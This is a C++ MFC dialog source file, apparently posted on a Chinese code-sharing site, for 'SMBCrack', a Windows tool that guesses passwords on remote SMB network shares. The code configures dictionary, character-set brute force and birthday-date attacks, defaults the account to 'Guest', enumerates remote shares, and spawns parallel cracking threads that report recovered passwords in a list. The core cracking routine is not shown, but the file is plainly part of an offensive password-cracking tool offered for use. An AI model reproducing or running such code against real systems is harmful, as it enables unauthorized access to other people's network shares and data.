📄 smbcrackdlg.cpp
字号:
}
}
m_vStatus=0;
uCrackMode=0;
szCharSet[0]=0;
UpdateData(TRUE);
nMaxPwdLen=m_vPwdLength;
if(m_cUseDictionary.GetCheck())
{
m_cDictionaryFile.GetWindowText(szDictionaryFile,sizeof(szDictionaryFile)-1);
if(!(szDictionaryFile[0]))
{
m_cStatus.SetWindowText("Dictionary filename needed. Ready...");
return;
}
fDictionary=fopen(szDictionaryFile,"r");
if(!fDictionary)
{
m_cStatus.SetWindowText("Can't open dictionary file. Ready...");
return;
}
uCrackMode|=USEDICTIONARY;
}
if(m_cLetter.GetCheck())
strcat(szCharSet,"abcdefghijklmnopqrstuvwxyz");
if(m_cNumber.GetCheck())
strcat(szCharSet,"0123456789");
if(m_cSymbol.GetCheck())
strcat(szCharSet,"`~!@#$%^&*()*+-/_=;':\",./?><\\|");
if(nCharSetLen=strlen(szCharSet))
uCrackMode|=BROUTEFORCE;
if(m_cDate.GetCheck())
{
iStartYear=m_vStartYear;
iEndYear=m_vEndYear;
iCurYear=iStartYear;
iCurMonth=1;
iCurDay=1;
iDayFmt=0;
iMonthFmt=0;
iYearFmt=0;
uCrackMode|=USEBIRTHDAY;
}
if(!uCrackMode)
{
m_cStatus.SetWindowText("Please specify crack mode. Ready...");
return;
}
if(uCrackMode&USEDICTIONARY)
uCrackMode|=USINGDICTIONARY;
if(uCrackMode&BROUTEFORCE)
uCrackMode|=BROUTEFORCING;
if(uCrackMode&USEBIRTHDAY)
uCrackMode|=USINGBIRTHDAY;
nCurPwdLen=0;
szCrackedPwd[0]=0;
m_cUserName.GetWindowText(m_vCrackStruct.szUserName,
sizeof(m_vCrackStruct.szUserName));
if(!m_vCrackStruct.szUserName[0])
strcpy(m_vCrackStruct.szUserName,"Guest");
SetTimer(PROGRESSTIMERID,1000,NULL);
m_vCrackStruct.hParentWindow=m_hWnd;
m_vCrackStruct.hStopCrack=CreateEvent(NULL,TRUE,FALSE,NULL);
m_vCrackStruct.hCrackDone=UM_CRACKDONE;
InitializeCriticalSection(&(m_vCrackStruct.csCurPwd));
for(i=0;i<m_vMaxThreads;i++)
if(hThread=CreateThread(NULL,0,Crack,&(m_vCrackStruct),0,&CrackThread))
{
m_vThreads++;
::SetThreadPriority(hThread,THREAD_PRIORITY_BELOW_NORMAL);
}
else
break;
m_cCrack.SetWindowText("Cancel");
SetWindowText("SMBCrack---Cracking...");
}
void CSMBCrackDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
char szStatus[50];
int iCurRes;
if(nIDEvent==PROGRESSTIMERID&&(!m_vStatus))
{
iCurRes=iCurResource==0?nResources-1:iCurResource-1;
sprintf(szStatus,"Tring %s to %s Cracking...",szPwdShot,
(Resources[iCurRes]).szRemoteResource);
m_cStatus.SetWindowText(szStatus);
}
CDialog::OnTimer(nIDEvent);
}
int CSMBCrackDlg::PrepareResource()
{
int iCurResource;
LV_ITEM ResItem;
nCracked=0;
if(!(nResources=m_cResource.GetItemCount()))
return 1;
if(!(Resources=(CrackResource *)calloc(nResources,sizeof(CrackResource))))
return 2;
ResItem.mask=LVIF_TEXT;
for(iCurResource=0;iCurResource<nResources;iCurResource++)
{
ResItem.iItem=iCurResource;
ResItem.iSubItem=0;
ResItem.pszText=(Resources[iCurResource]).szRemoteResource;
ResItem.cchTextMax=sizeof((Resources[0]).szRemoteResource);
m_cResource.GetItem(&ResItem);
InitializeCriticalSection(&((Resources[iCurResource]).csCracked));
(Resources[iCurResource]).szPwd[0]=0;
ResItem.iSubItem=1;
ResItem.pszText=(Resources[iCurResource]).szPwd;
ResItem.cchTextMax=sizeof((Resources[0]).szPwd);
m_cResource.GetItem(&ResItem);
if((Resources[iCurResource]).szPwd[0])
nCracked++;
}
::iCurResource=0;
::nNewPwd=1;
return 0;
}
void CSMBCrackDlg::CrackDone(UINT wParam, LONG lParam)
{
char szStatus[50];
int iCurResource;
m_vStatus|=wParam;
if(!(--m_vThreads))
{
KillTimer(PROGRESSTIMERID);
m_cCrack.SetWindowText("Crack");
SetWindowText("SMBCrack By Raptor");
m_cCrack.EnableWindow(TRUE);
if(uCrackMode&USEDICTIONARY)
fclose(fDictionary);
CloseHandle(m_vCrackStruct.hStopCrack);
DeleteCriticalSection(&(m_vCrackStruct.csCurPwd));
for(iCurResource=0;iCurResource<nResources;iCurResource++)
{
DeleteCriticalSection(&((Resources[iCurResource]).csCracked));
}
free(Resources);
sprintf(szStatus,"%d of %d cracked,",nCracked,nResources);
if(m_vStatus&CRACKED)
strcat(szStatus,"Cracking over Ready...");
else
{
if(m_vStatus&NOPASSWORD)
strcat(szStatus,"no password to try Ready...");
else if(m_vStatus&CANCELED)
strcat(szStatus,"Cracking canceled Ready...");
}
m_cStatus.SetWindowText(szStatus);
}
}
void CSMBCrackDlg::CrackOut(UINT wParam, LONG lParam)
{
CrackResource * crCracked=(CrackResource *)wParam;
int iCurItem;
LV_FINDINFO lvf;
lvf.flags=LVFI_STRING;
lvf.psz=crCracked->szRemoteResource;
if((iCurItem=m_cResource.FindItem(&lvf))!=-1)
{
m_cResource.SetItemText(iCurItem,1,crCracked->szPwd);
}
}
void CSMBCrackDlg::OnEndlabeleditResouce(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
*pResult = TRUE;
}
void CSMBCrackDlg::OnItemchangedResouce(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
char szNewResource[100],*szTemp,chTemp;
LV_ITEM ResItem;
int iAction=0,iTemp;
EnumStruct * pEnumStruct;
HANDLE hThread;
DWORD EnumThread;
*pResult = 0;
if(pNMListView->iItem==-1||pNMListView->iSubItem!=0||
(pNMListView->uChanged&LVIF_TEXT)==0)
return;
ResItem.mask=LVIF_TEXT;
ResItem.iItem=pNMListView->iItem;
ResItem.iSubItem=0;
ResItem.pszText=szNewResource;
ResItem.cchTextMax=sizeof(szNewResource);
m_cResource.GetItem(&ResItem);
if(strlen(szNewResource)==0)
{
m_cResource.DeleteItem(pNMListView->iItem);
iTemp=m_cResource.GetItemCount()>0;
m_cClear.EnableWindow(iTemp);
m_cRemove.EnableWindow(iTemp);
return;
}
if(strstr(szNewResource,"\\\\")==szNewResource)
{
if(!strchr(szNewResource+2,'\\'))
{
for(iTemp=0,chTemp=szNewResource[2];chTemp;
szNewResource[iTemp]=chTemp,iTemp++,chTemp=szNewResource[iTemp+2]);
szNewResource[iTemp]=0;
iAction=1;
}
}
else if(szTemp=strchr(szNewResource,'\\'))
{
if(szTemp>szNewResource)
{
for(iTemp=strlen(szNewResource);iTemp>=0;iTemp--)
szNewResource[iTemp+2]=szNewResource[iTemp];
szNewResource[0]='\\';
szNewResource[1]='\\';
}
else
{
for(iTemp=strlen(szNewResource);iTemp>=0;iTemp--)
szNewResource[iTemp+1]=szNewResource[iTemp];
}
m_cResource.SetItemText(pNMListView->iItem,pNMListView->iSubItem,
szNewResource);
}
else if(strcmp(szNewResource,"New resource"))
iAction=1;
if(iAction)
{
m_cResource.DeleteItem(pNMListView->iItem);
iTemp=m_cResource.GetItemCount()>0;
m_cClear.EnableWindow(iTemp);
m_cRemove.EnableWindow(iTemp);
pEnumStruct=(EnumStruct *)calloc(1,sizeof(EnumStruct));
pEnumStruct->hParentWindow=m_hWnd;
pEnumStruct->hEnumOut=UM_ENUMOUT;
strcpy(pEnumStruct->szRemoteComputer,"\\\\");
strcat(pEnumStruct->szRemoteComputer+2,szNewResource);
if(hThread=CreateThread(NULL,0,Enum,pEnumStruct,0,&EnumThread))
{
m_vEnums++;
::SetThreadPriority(hThread,THREAD_PRIORITY_BELOW_NORMAL);
}
}
}
void CSMBCrackDlg::EnumOut(UINT wParam, LONG lParam)
{
EnumStruct * pEnumStruct=(EnumStruct *)lParam;
LV_ITEM ResourveItem;
LV_FINDINFO lvf;
int idxItem;
NETRESOURCE * pNetRes;
pNetRes=(NETRESOURCE *)pEnumStruct->ResourceBuffer;
if(wParam)
{
lvf.flags=LVFI_STRING;
lvf.psz=pNetRes->lpRemoteName;
if(m_cResource.FindItem(&lvf)==-1)
{
idxItem=m_cResource.GetItemCount();
ResourveItem.mask=LVIF_TEXT;
ResourveItem.iItem=idxItem;
ResourveItem.iSubItem=0;
ResourveItem.pszText=pNetRes->lpRemoteName;
ResourveItem.state=LVIS_FOCUSED;
m_cResource.InsertItem(&ResourveItem);
if(!idxItem)
{
m_cRemove.EnableWindow(TRUE);
m_cClear.EnableWindow(TRUE);
}
}
(pNetRes->lpRemoteName)[0]=0;
}
else
{
m_vEnums--;
free(pEnumStruct);
}
}
HBRUSH CSMBCrackDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
// TODO: Change any attributes of the DC here
if((pWnd==&m_cStartYear||pWnd==&m_cEndYear)&&m_cDate.GetCheck())
{
pDC->SetBkColor(0xffffff);
::DeleteObject(hbr);
return CBrush(0xffffff);
}
// TODO: Return a different brush if the default is not desired
return hbr;
}
void CSMBCrackDlg::OnChangeStartyear()
{
if(IsWindowVisible( ))
{
UpdateData(TRUE);
if(m_vEndYear<m_vStartYear)
m_vEndYear=m_vStartYear;
UpdateData(FALSE);
}
}
void CSMBCrackDlg::OnChangeEndyear()
{
if(IsWindowVisible( ))
{
UpdateData(TRUE);
if(m_vStartYear>m_vEndYear)
m_vStartYear=m_vEndYear;
UpdateData(FALSE);
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -